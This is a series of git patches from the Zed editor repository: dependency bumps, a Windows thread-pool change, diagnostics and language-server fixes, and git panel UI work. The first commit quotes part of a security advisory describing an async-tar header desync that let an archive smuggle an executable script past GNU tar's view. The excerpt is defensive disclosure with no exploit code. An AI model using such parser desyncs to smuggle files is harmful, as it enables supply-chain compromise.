With the guard, `async-tar`'s view converges with GNU tar's: it surfaces
`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as
data, and
no longer extracts the smuggled executable script. The benign control
still
produces the correct two-file output. The desync is eliminated.

##### Fix PR

A fix PR adding the `is_extension_header` guard to `poll_next_raw` in
`src/archive.rs` is opened from the advisory's temporary private fork
against this
repository. It carries the diff shown in the **Fix** section above (no
behavioural
change for well-formed archives; only intermediary `L`/`K`/`x`/`g`
headers stop
inheriting a following PAX `size`).

##### Credit

Reported by tonghuaroot.

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m)
-
[https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>dignifiedquire/async-tar (async-tar)</summary>

###
[`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

###
[`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0):
- Tokio Support

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0)

</details>

---

### Configuration

📅 **Schedule**: (in timezone America/New_York)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

Release Notes:

- N/A

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 Cargo.lock                     | 30 +++++++++++++++---------------
 Cargo.toml                     |  4 +++-
 crates/copilot/Cargo.toml      |  2 +-
 crates/fs/Cargo.toml           |  1 +
 crates/node_runtime/Cargo.toml |  2 +-
 5 files changed, 21 insertions(+), 18 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index b2a540338f647b..a44cdb5271cde1 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -1235,15 +1235,15 @@ dependencies = [
 
 [[package]]
 name = "async-tar"
-version = "0.5.1"
+version = "0.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d1937db2d56578aa3919b9bdb0e5100693fd7d1c0f145c53eb81fbb03e217550"
+checksum = "f6affe71e5b6180fb5eaf9e8127a243694baf6ae1120c199227167302f56c14b"
 dependencies = [
  "async-std",
  "filetime",
+ "futures-core",
  "libc",
- "pin-project",
- "redox_syscall 0.2.16",
+ "redox_syscall 0.7.5",
  "xattr",
 ]
 
@@ -6657,14 +6657,12 @@ dependencies = [
 
 [[package]]
 name = "filetime"
-version = "0.2.26"
+version = "0.2.29"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bc0505cd1b6fa6580283f6bdf70a73fcf4aba1184038c90902b92b3dd0df63ed"
+checksum = "5c287a33c7f0a620c38e641e7f60827713987b3c0f26e8ddc9462cc69cf75759"
 dependencies = [
  "cfg-if",
  "libc",
- "libredox",
- "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -6894,6 +6892,7 @@ dependencies = [
  "anyhow",
  "ashpd",
  "async-channel 2.5.0",
+ "async-std",
  "async-tar",
  "async-trait",
  "collections",
@@ -14974,18 +14973,18 @@ dependencies = [
 
 [[package]]
 name = "redox_syscall"
-version = "0.2.16"
+version = "0.5.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a"
+checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d"
 dependencies = [
- "bitflags 1.3.2",
+ "bitflags 2.10.0",
 ]
 
 [[package]]
 name = "redox_syscall"
-version = "0.5.18"
+version = "0.7.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d"
+checksum = "4666a1a60d8412eab19d94f6d13dcc9cea0a5ef4fdf6a5db306537413c661b1b"
 dependencies = [
  "bitflags 2.10.0",
 ]
@@ -22711,11 +22710,12 @@ dependencies = [
 
 [[package]]
 name = "xattr"
-version = "0.2.3"
+version = "1.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d1526bbe5aaeb5eb06885f4d987bcdfa5e23187055de9b83fe00156a821fabc"
+checksum = "32e45ad4206f6d2479085147f02bc2ef834ac85886624a23575ae137c8aa8156"
 dependencies = [
  "libc",
+ "rustix 1.1.2",
 ]
 
 [[package]]
diff --git a/Cargo.toml b/Cargo.toml
index 29e6e44daa6913..4f827f0c421925 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -530,7 +530,9 @@ async-io = "2.6.0"
 async-lock = "3.4.2"
 async-pipe = { git = "https://github.com/zed-industries/async-pipe-rs", rev = "82d00a04211cf4e1236029aa03e6b6ce2a74c553" }
 async-recursion = "1.0.0"
-async-tar = "0.5.1"
+# `unstable` is required to compile async-tar's Windows symlink support.
+async-std = { version = "1.12", features = ["unstable"] }
+async-tar = "0.6"
 async-task = "4.7"
 async-trait = "0.1"
 async-tungstenite = "0.31.0"
diff --git a/crates/copilot/Cargo.toml b/crates/copilot/Cargo.toml
index 0d9d9ed1e61ab1..3b73bacb2e0037 100644
--- a/crates/copilot/Cargo.toml
+++ b/crates/copilot/Cargo.toml
@@ -48,7 +48,7 @@ util.workspace = true
 workspace.workspace = true
 
 [target.'cfg(windows)'.dependencies]
-async-std = { version = "1.12.0", features = ["unstable"] }
+async-std.workspace = true
 
 [dev-dependencies]
 collections = { workspace = true, features = ["test-support"] }
diff --git a/crates/fs/Cargo.toml b/crates/fs/Cargo.toml
index 871ac718028b26..2d8ee40ab26c2c 100644
--- a/crates/fs/Cargo.toml
+++ b/crates/fs/Cargo.toml
@@ -48,6 +48,7 @@ trash = { git = "https://github.com/zed-industries/trash-rs", rev = "47761739192
 [target.'cfg(target_os = "windows")'.dependencies]
 windows.workspace = true
 dunce.workspace = true
+async-std.workspace = true
 
 [target.'cfg(any(target_os = "linux", target_os = "freebsd"))'.dependencies]
 ashpd.workspace = true
diff --git a/crates/node_runtime/Cargo.toml b/crates/node_runtime/Cargo.toml
index 25f7b2997e5e72..5da2f60f124e4b 100644
--- a/crates/node_runtime/Cargo.toml
+++ b/crates/node_runtime/Cargo.toml
@@ -34,4 +34,4 @@ watch.workspace = true
 which.workspace = true
 
 [target.'cfg(windows)'.dependencies]
-async-std = { version = "1.12.0", features = ["unstable"] }
+async-std.workspace = true

From 72656afa6d477d57ca875b1b7c8423483e32dc74 Mon Sep 17 00:00:00 2001
From: John Tur <john-tur@outlook.com>
Date: Tue, 14 Jul 2026 12:40:22 -0400
Subject: [PATCH 456/772] Use more efficient thread pool API on Windows
 (#60917)

This interface uses fewer syscalls and has less internal synchronization
(since the `TP_WORK` object is not exposed).

Release Notes:

- N/A
---
 crates/gpui_windows/src/dispatcher.rs | 16 +++++-----------
 1 file changed, 5 insertions(+), 11 deletions(-)

diff --git a/crates/gpui_windows/src/dispatcher.rs b/crates/gpui_windows/src/dispatcher.rs
index ba492515edbb24..55f18b50c0716d 100644
--- a/crates/gpui_windows/src/dispatcher.rs
+++ b/crates/gpui_windows/src/dispatcher.rs
@@ -12,11 +12,10 @@ use windows::Win32::{
     Foundation::{FILETIME, LPARAM, WPARAM},
     Media::{timeBeginPeriod, timeEndPeriod},
     System::Threading::{
-        CloseThreadpoolTimer, CloseThreadpoolWork, CreateThreadpoolTimer, CreateThreadpoolWork,
-        GetCurrentThread, PTP_CALLBACK_INSTANCE, PTP_TIMER, PTP_WORK, SetThreadPriority,
-        SetThreadpoolTimer, SubmitThreadpoolWork, THREAD_PRIORITY_TIME_CRITICAL,
+        CloseThreadpoolTimer, CreateThreadpoolTimer, GetCurrentThread, PTP_CALLBACK_INSTANCE,
+        PTP_TIMER, SetThreadPriority, SetThreadpoolTimer, THREAD_PRIORITY_TIME_CRITICAL,
         TP_CALLBACK_ENVIRON_V3, TP_CALLBACK_PRIORITY, TP_CALLBACK_PRIORITY_HIGH,
-        TP_CALLBACK_PRIORITY_LOW, TP_CALLBACK_PRIORITY_NORMAL,
+        TP_CALLBACK_PRIORITY_LOW, TP_CALLBACK_PRIORITY_NORMAL, TrySubmitThreadpoolCallback,
     },
     UI::WindowsAndMessaging::PostMessageW,
 };
@@ -66,11 +65,8 @@ impl WindowsDispatcher {
         let context = runnable.into_raw().as_ptr() as *mut c_void;
 
         unsafe {
-            if let Ok(work) =
-                CreateThreadpoolWork(Some(run_work_callback), Some(context), Some(&environ))
-            {
-                SubmitThreadpoolWork(work);
-            }
+            TrySubmitThreadpoolCallback(Some(run_work_callback), Some(context), Some(&environ))
+                .log_err();
         }
     }
 
@@ -179,11 +175,9 @@ impl PlatformDispatcher for WindowsDispatcher {
 unsafe extern "system" fn run_work_callback(
     _instance: PTP_CALLBACK_INSTANCE,
     context: *mut c_void,
-    work: PTP_WORK,
 ) {
     let runnable = unsafe { RunnableVariant::from_raw(NonNull::new_unchecked(context as *mut ())) };
     WindowsDispatcher::execute_runnable(runnable);
-    unsafe { CloseThreadpoolWork(work) };
 }
 
 unsafe extern "system" fn run_timer_callback(

From ef2430c8f36f50130f072f533edac4d8a9c3bf78 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Tue, 14 Jul 2026 19:57:03 +0300
Subject: [PATCH 457/772] Properly notify on inline diagnostics toggle (#60978)

Closes https://github.com/zed-industries/zed/issues/60959

Release Notes:

- Fixed inline diagnostics not instantly [dis]appearing after toggling
---
 crates/editor/src/diagnostics.rs | 163 ++++++++++++++++++++++++++++++-
 1 file changed, 159 insertions(+), 4 deletions(-)

diff --git a/crates/editor/src/diagnostics.rs b/crates/editor/src/diagnostics.rs
index f3e3137b3fa9a6..a1e40bdb392599 100644
--- a/crates/editor/src/diagnostics.rs
+++ b/crates/editor/src/diagnostics.rs
@@ -331,13 +331,12 @@ impl Editor {
         self.set_max_diagnostics_severity(new_severity, cx);
         if self.diagnostics_enabled {
             self.active_diagnostics = ActiveDiagnostic::None;
+            self.refresh_inline_diagnostics(false, window, cx);
+        } else {
             self.inline_diagnostics_update = Task::ready(());
             self.inline_diagnostics.clear();
-        } else {
-            self.refresh_inline_diagnostics(false, window, cx);
+            cx.notify();
         }
-
-        cx.notify();
     }
 
     pub(super) fn all_diagnostics_active(&self) -> bool {
@@ -464,6 +463,7 @@ impl Editor {
         {
             self.inline_diagnostics_update = Task::ready(());
             self.inline_diagnostics.clear();
+            cx.notify();
             return;
         }
 
@@ -596,3 +596,158 @@ impl Editor {
         }
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use crate::{
+        actions::{ToggleDiagnostics, ToggleInlineDiagnostics},
+        editor_tests::init_test,
+        test::editor_test_context::EditorTestContext,
+    };
+    use gpui::{TestAppContext, UpdateGlobal};
+    use indoc::indoc;
+    use language::DiagnosticSourceKind;
+    use lsp::LanguageServerId;
+    use settings::{DelayMs, SettingsStore};
+    use std::sync::{
+        Arc,
+        atomic::{self, AtomicUsize},
+    };
+    use util::path;
+
+    fn setup_inline_diagnostics(cx: &mut EditorTestContext) {
+        cx.update(|_, cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    let inline = settings
+                        .diagnostics
+                        .get_or_insert_default()
+                        .inline
+                        .get_or_insert_default();
+                    inline.enabled = Some(true);
+                    inline.update_debounce_ms = Some(DelayMs(0));
+                });
+            });
+        });
+
+        cx.set_state(indoc! {"
+            fn func(abc dˇef: i32) -> u32 {
+            }
+        "});
+
+        let lsp_store =
+            cx.update_editor(|editor, _, cx| editor.project().unwrap().read(cx).lsp_store());
+        cx.update(|_, cx| {
+            lsp_store.update(cx, |lsp_store, cx| {
+                lsp_store
+                    .update_diagnostics(
+                        LanguageServerId(0),
+                        lsp::PublishDiagnosticsParams {
+                            uri: lsp::Uri::from_file_path(path!("/root/file")).unwrap(),
+                            version: None,
+                            diagnostics: vec![lsp::Diagnostic {
+                                range: lsp::Range::new(
+                                    lsp::Position::new(0, 12),
+                                    lsp::Position::new(0, 15),
+                                ),
+                                severity: Some(lsp::DiagnosticSeverity::ERROR),
+                                message: "cannot find value `def`".to_string(),
+                                ..Default::default()
+                            }],
+                        },
+                        None,
+                        DiagnosticSourceKind::Pushed,
+                        &[],
+                        cx,
+                    )
+                    .unwrap()
+            });
+        });
+        cx.run_until_parked();
+
+        cx.update_editor(|editor, _, _| {
+            assert_eq!(
+                editor.inline_diagnostics.len(),
+                1,
+                "inline diagnostics should appear after the language server publishes them"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_toggle_diagnostics_refreshes_inline_diagnostics(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+        let mut cx = EditorTestContext::new(cx).await;
+        setup_inline_diagnostics(&mut cx);
+
+        cx.update_editor(|editor, window, cx| {
+            editor.toggle_diagnostics(&ToggleDiagnostics, window, cx);
+        });
+        cx.run_until_parked();
+        cx.update_editor(|editor, _, _| {
+            assert_eq!(
+                editor.inline_diagnostics.len(),
+                0,
+                "inline diagnostics should be cleared after disabling diagnostics"
+            );
+        });
+
+        cx.update_editor(|editor, window, cx| {
+            editor.toggle_diagnostics(&ToggleDiagnostics, window, cx);
+        });
+        cx.run_until_parked();
+        cx.update_editor(|editor, _, _| {
+            assert_eq!(
+                editor.inline_diagnostics.len(),
+                1,
+                "inline diagnostics should reappear after re-enabling diagnostics, without further editor events"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_toggle_inline_diagnostics_notifies_on_hide(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+        let mut cx = EditorTestContext::new(cx).await;
+        setup_inline_diagnostics(&mut cx);
+
+        let notify_count = Arc::new(AtomicUsize::new(0));
+        let editor = cx.editor.clone();
+        let _subscription = cx.update({
+            let notify_count = notify_count.clone();
+            move |_, cx| {
+                cx.observe(&editor, move |_, _| {
+                    notify_count.fetch_add(1, atomic::Ordering::SeqCst);
+                })
+            }
+        });
+
+        cx.update_editor(|editor, window, cx| {
+            editor.toggle_inline_diagnostics(&ToggleInlineDiagnostics, window, cx);
+        });
+        cx.update_editor(|editor, _, _| {
+            assert_eq!(
+                editor.inline_diagnostics.len(),
+                0,
+                "inline diagnostics should be cleared after toggling them off"
+            );
+        });
+        assert_eq!(
+            notify_count.load(atomic::Ordering::SeqCst),
+            1,
+            "toggling inline diagnostics off should notify to repaint the editor"
+        );
+
+        cx.update_editor(|editor, window, cx| {
+            editor.toggle_inline_diagnostics(&ToggleInlineDiagnostics, window, cx);
+        });
+        cx.run_until_parked();
+        cx.update_editor(|editor, _, _| {
+            assert_eq!(
+                editor.inline_diagnostics.len(),
+                1,
+                "inline diagnostics should reappear after toggling them back on"
+            );
+        });
+    }
+}

From ba0eea3f49108ec6533dc95fe03da04cb3ec79c9 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Tue, 14 Jul 2026 22:45:05 +0530
Subject: [PATCH 458/772] settings_content: Fix globally excluded language
 servers starting (#60984)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes https://github.com/zed-industries/zed/issues/60763

Follow-up to #60000. Global language server exclusions were added to
per-language settings without removing an explicit enable for the same
server, allowing it to still start.

For example, this setting should disable `vtsls` for every language:

```json
{
  "language_servers": ["!vtsls", "..."]
}
```

However, TypeScript’s default configuration explicitly enables `vtsls`,
causing it to still start.

Release Notes:

- Fixed language servers starting despite being disabled globally.
---
 crates/settings_content/src/language.rs | 55 +++++++++++++++++++++++++
 1 file changed, 55 insertions(+)

diff --git a/crates/settings_content/src/language.rs b/crates/settings_content/src/language.rs
index 71beec78f7d6c4..9c1c8f34f8c2c9 100644
--- a/crates/settings_content/src/language.rs
+++ b/crates/settings_content/src/language.rs
@@ -67,6 +67,12 @@ impl merge_from::MergeFrom for AllLanguageSettingsContent {
             language_settings.merge_from(&other.defaults);
             if let Some(mut language_server_overrides) = language_server_overrides {
                 if let Some(disabled) = &globally_disabled_servers {
+                    for disabled_server in disabled {
+                        if let Some(enabled_server) = disabled_server.strip_prefix('!') {
+                            language_server_overrides.retain(|entry| entry != enabled_server);
+                        }
+                    }
+
                     let insert_before = language_server_overrides
                         .iter()
                         .position(|entry| entry == REST_OF_LANGUAGE_SERVERS)
@@ -1327,6 +1333,55 @@ mod test {
         );
     }
 
+    #[test]
+    fn test_global_language_server_disable_overrides_per_language_enable() {
+        let mut base = AllLanguageSettingsContent {
+            defaults: LanguageSettingsContent {
+                language_servers: Some(vec![REST_OF_LANGUAGE_SERVERS.into()]),
+                ..LanguageSettingsContent::default()
+            },
+            languages: LanguageToSettingsMap(
+                [(
+                    "TypeScript".into(),
+                    LanguageSettingsContent {
+                        language_servers: Some(vec![
+                            "!typescript-language-server".into(),
+                            "vtsls".into(),
+                            REST_OF_LANGUAGE_SERVERS.into(),
+                        ]),
+                        ..LanguageSettingsContent::default()
+                    },
+                )]
+                .into_iter()
+                .collect(),
+            ),
+            ..AllLanguageSettingsContent::default()
+        };
+
+        let user = AllLanguageSettingsContent {
+            defaults: LanguageSettingsContent {
+                language_servers: Some(vec!["!vtsls".into(), REST_OF_LANGUAGE_SERVERS.into()]),
+                ..LanguageSettingsContent::default()
+            },
+            ..AllLanguageSettingsContent::default()
+        };
+
+        base.merge_from(&user);
+
+        let expected = vec![
+            "!typescript-language-server".to_string(),
+            "!vtsls".to_string(),
+            REST_OF_LANGUAGE_SERVERS.to_string(),
+        ];
+        assert_eq!(
+            base.languages
+                .0
+                .get("TypeScript")
+                .and_then(|settings| settings.language_servers.as_deref()),
+            Some(expected.as_slice()),
+        );
+    }
+
     #[test]
     fn test_language_servers_merge_no_per_language_config_uses_global() {
         let mut base = AllLanguageSettingsContent {

From 3e7681382571dec382f7d0f89275f397580b4107 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yara=20=F0=9F=8F=B3=EF=B8=8F=E2=80=8D=E2=9A=A7=EF=B8=8F?=
 <git@yara.blue>
Date: Tue, 14 Jul 2026 19:18:23 +0200
Subject: [PATCH 459/772] pickers: Remove `picker::ToMultiBuffer` action we did
 not land (#60979)

Missed this when shipping the pickers. The feature is still planned and
tracked in the tracking issue.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/picker/src/picker.rs                 |  2 --
 crates/picker_preview/src/picker_preview.rs | 17 ++++++-----------
 2 files changed, 6 insertions(+), 13 deletions(-)

diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index f3c8b0a2684286..9f8baac0cbad98 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -76,8 +76,6 @@ actions!(
         SetPreviewHidden,
         /// Opens the footer's actions menu.
         ToggleActionsMenu,
-        /// Take the picker's content and open it in a multibuffer
-        ToMultiBuffer,
         /// Toggles multi-select mode, in which clicking items adds them to
         /// the selection instead of opening them
         ToggleMultiSelect,
diff --git a/crates/picker_preview/src/picker_preview.rs b/crates/picker_preview/src/picker_preview.rs
index eb4e179171ce2e..3870dc3690114c 100644
--- a/crates/picker_preview/src/picker_preview.rs
+++ b/crates/picker_preview/src/picker_preview.rs
@@ -3,13 +3,11 @@
 use std::sync::Arc;
 
 use gpui::{
-    Action, AnyElement, App, AppContext as _, Context, Entity, IntoElement, Pixels, StyledText,
-    Task, Window, px,
+    AnyElement, App, AppContext as _, Context, Entity, IntoElement, Pixels, StyledText, Task,
+    Window, px,
 };
 use language::{Bias, Buffer, HighlightedText, HighlightedTextBuilder, ToPoint};
-use picker::{
-    MatchLocation, PreviewBackend, PreviewLayout, PreviewSource, PreviewUpdate, ToMultiBuffer,
-};
+use picker::{MatchLocation, PreviewBackend, PreviewLayout, PreviewSource, PreviewUpdate};
 use project::{Project, Symbol};
 use rope::Point;
 use settings::Settings;
@@ -335,7 +333,7 @@ impl EditorPreview {
             div()
                 .flex_1()
                 .overflow_hidden()
-                .child(self.editor_as_giant_button())
+                .child(self.occluded_editor())
                 .into_any_element()
         }
     }
@@ -357,7 +355,7 @@ impl EditorPreview {
             .child(content)
     }
 
-    fn editor_as_giant_button(&self) -> impl IntoElement {
+    fn occluded_editor(&self) -> impl IntoElement {
         div()
             .relative()
             .size_full()
@@ -367,10 +365,7 @@ impl EditorPreview {
                     .id("picker-preview-editor")
                     .absolute()
                     .inset_0()
-                    .occlude()
-                    .on_click(|_, window, cx| {
-                        window.dispatch_action(ToMultiBuffer.boxed_clone(), cx);
-                    }),
+                    .occlude(),
             )
     }
 }

From 48a0cbcfd89cf2ee1fc3eda00484cf3128424f12 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 14 Jul 2026 15:05:11 -0300
Subject: [PATCH 460/772] git_ui: Improve the staged & unstaged grouping in the
 git panel (#60976)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Follow up to https://github.com/zed-industries/zed/pull/59884

This PR refines how the git panel behaves when grouping changes by
staging state, with a focus on making staging workflows predictable and
conflict resolution safe.

- Renamed the "Group By" menu options to describe what you actually see:
**"Tracked & Untracked"** (was "Status") and **"Staged & Unstaged"**
(was "Staging").
- When grouping by staged & unstaged, both sections now stay visible
even when empty, showing a placeholder message ("No staged changes yet"
/ "No unstaged changes"). Previously an empty section disappeared
entirely, which made the panel layout jump around as you staged and
unstaged files, and made it harder to tell at a glance that nothing was
staged yet.
- Section header controls are now consistent checkboxes everywhere
(previously a mix of checkboxes and +/− icon buttons), with "Stage All"
/ "Unstage All" tooltips. Headers of empty sections render no checkbox
and don't react to clicks or hover. I appreciate the debate that
happened in the PR linked above about this but I was personally having a
hard time understanding what was the difference in interaction given the
action was exactly the same, we were just having different UIs, which
looked inconsistent.
- Arrow-key navigation now skips over section headers and empty-section
placeholder rows in both flat and tree view, instead of getting stuck or
selecting non-interactive rows — including when jumping to the first or
last entry.
- In the staged & unstaged grouping, a partially staged file appears in
both sections. Each row's checkbox and tooltip now follow the section
it's rendered in: rows in Staged always unstage, rows in Unstaged always
stage — including via shift-click range operations, which now also
support bulk *unstaging* within the Staged section (previously ranges
could only stage). The context menu's Stage/Unstage label follows the
same rule and stays in sync with in-flight staging operations.
- Conflicted files are grouped by whether the current merge marked them
conflicted (rather than raw status), so a conflict you've resolved stays
visible under "Conflicts" until the merge concludes. On top of that,
resolution is now one-way in the UI:
- Ticking a conflicted file's checkbox marks it resolved (stages it).
Once resolved, the checkbox is disabled with a "Conflict marked as
resolved" tooltip — unticking it would silently discard git's record of
the unmerged base/ours/theirs versions, a round-trip git can't actually
perform.
- The same lock applies everywhere the file can be reached: the keyboard
toggle, folder checkboxes in tree view, the Conflicts section header
(disabled once all conflicts are resolved), "Stage All"/"Unstage All" on
the Staged/Unstaged headers, and shift-click range sweeps — none of them
will resolve or un-resolve a conflict as a side effect.
- The explicit `git: unstage file` action still works as a deliberate
escape hatch.

---

Here's a video, where you can see I stage and unstage whole files, make
a partial staging, and get into a merge-conflict state, where the
conflicted files are tagged as resolved:


https://github.com/user-attachments/assets/d27ef9c6-5691-45c1-91ab-c3b152aaaa60

---

Release Notes:

- N/A _(given the feature hasn't been released yet_)
---
 crates/git_ui/src/git_panel.rs | 959 ++++++++++++++++++++++-----------
 1 file changed, 648 insertions(+), 311 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 85465f98cb4961..29328c7746bc39 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -82,9 +82,8 @@ use theme_settings::ThemeSettings;
 use time::OffsetDateTime;
 use ui::{
     ButtonLike, Checkbox, Chip, ContextMenu, ContextMenuEntry, Divider, ElevationIndex,
-    IconButtonShape, IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle,
-    ProjectEmptyState, ScrollAxes, Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar,
-    prelude::*,
+    IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle, ProjectEmptyState, ScrollAxes,
+    Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar, prelude::*,
 };
 use util::paths::PathStyle;
 use util::{ResultExt, TryFutureExt, markdown::MarkdownInlineCode, maybe, rel_path::RelPath};
@@ -328,7 +327,7 @@ fn git_panel_view_options_menu(
             })
             .item({
                 let view_options_menu_state = view_options_menu_state.clone();
-                ContextMenuEntry::new("Status")
+                ContextMenuEntry::new("Tracked & Untracked")
                     .toggle(IconPosition::End, state.group_by == GitPanelGroupBy::Status)
                     .handler(move |window, cx| {
                         if state.group_by != GitPanelGroupBy::Status {
@@ -342,7 +341,7 @@ fn git_panel_view_options_menu(
             })
             .item({
                 let view_options_menu_state = view_options_menu_state.clone();
-                ContextMenuEntry::new("Staging")
+                ContextMenuEntry::new("Staged & Unstaged")
                     .toggle(
                         IconPosition::End,
                         state.group_by == GitPanelGroupBy::Staging,
@@ -476,11 +475,55 @@ struct ProjectedChangeEntry {
     index: usize,
 }
 
-#[derive(Clone, Copy)]
-struct StagingAction {
-    stage: bool,
-    icon: IconName,
-    label: &'static str,
+/// What clicking a staging control should do.
+///
+/// In the "staged & unstaged" grouping, a partially staged file appears in both the
+/// "Staged" and "Unstaged" sections at once, so a row's meaning comes from
+/// the section it is rendered in rather than from the file's own state.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum StageIntent {
+    Stage,
+    Unstage,
+    Toggle,
+}
+
+impl StageIntent {
+    fn for_section(section: Section) -> Self {
+        match section {
+            Section::Staged => StageIntent::Unstage,
+            Section::Unstaged => StageIntent::Stage,
+            _ => StageIntent::Toggle,
+        }
+    }
+
+    /// Resolves to a concrete direction (`true` = stage), consulting the
+    /// current stage status only when no section dictates one.
+    fn resolve_with(self, stage_status: impl FnOnce() -> StageStatus) -> bool {
+        match self {
+            StageIntent::Stage => true,
+            StageIntent::Unstage => false,
+            StageIntent::Toggle => match stage_status() {
+                StageStatus::Staged => false,
+                StageStatus::Unstaged | StageStatus::PartiallyStaged => true,
+            },
+        }
+    }
+
+    fn checkbox_state(self, entry_state: impl FnOnce() -> ToggleState) -> ToggleState {
+        match self {
+            StageIntent::Stage => ToggleState::Unselected,
+            StageIntent::Unstage => ToggleState::Selected,
+            StageIntent::Toggle => entry_state(),
+        }
+    }
+
+    fn label(self, stage_status: impl FnOnce() -> StageStatus) -> &'static str {
+        if self.resolve_with(stage_status) {
+            "Stage"
+        } else {
+            "Unstage"
+        }
+    }
 }
 
 #[derive(Clone, Copy, PartialEq, Eq)]
@@ -500,9 +543,17 @@ impl GitHeaderEntry {
             }
             Section::Tracked => !status.is_created(),
             Section::New => status.is_created(),
-            Section::Staged => GitPanel::stage_status_for_entry(status_entry, repo).has_staged(),
+            // Conflicted files render only under the Conflict section, so the
+            // Staged/Unstaged bulk operations must not sweep them up: "Unstage
+            // All" would silently un-resolve conflicts, and "Stage All" would
+            // silently mark them resolved.
+            Section::Staged => {
+                !repo.had_conflict_on_last_merge_head_change(&status_entry.repo_path)
+                    && GitPanel::stage_status_for_entry(status_entry, repo).has_staged()
+            }
             Section::Unstaged => {
-                GitPanel::stage_status_for_entry(status_entry, repo).has_unstaged()
+                !repo.had_conflict_on_last_merge_head_change(&status_entry.repo_path)
+                    && GitPanel::stage_status_for_entry(status_entry, repo).has_unstaged()
             }
         }
     }
@@ -523,6 +574,7 @@ enum GitListEntry {
     TreeStatus(GitTreeStatusEntry),
     Directory(GitTreeDirEntry),
     Header(GitHeaderEntry),
+    EmptySection(Section),
 }
 
 impl GitListEntry {
@@ -549,6 +601,13 @@ impl GitListEntry {
             _ => 0,
         }
     }
+
+    fn is_selectable(&self) -> bool {
+        matches!(
+            self,
+            GitListEntry::Status(_) | GitListEntry::TreeStatus(_) | GitListEntry::Directory(_)
+        )
+    }
 }
 
 enum GitPanelViewMode {
@@ -1239,7 +1298,7 @@ impl GitPanel {
                 .map(|status| status.status)
                 .map(|status| {
                     if GitPanelSettings::get_global(cx).group_by == GitPanelGroupBy::Staging {
-                        if status.is_conflicted() {
+                        if repo.had_conflict_on_last_merge_head_change(&repo_path) {
                             Section::Conflict
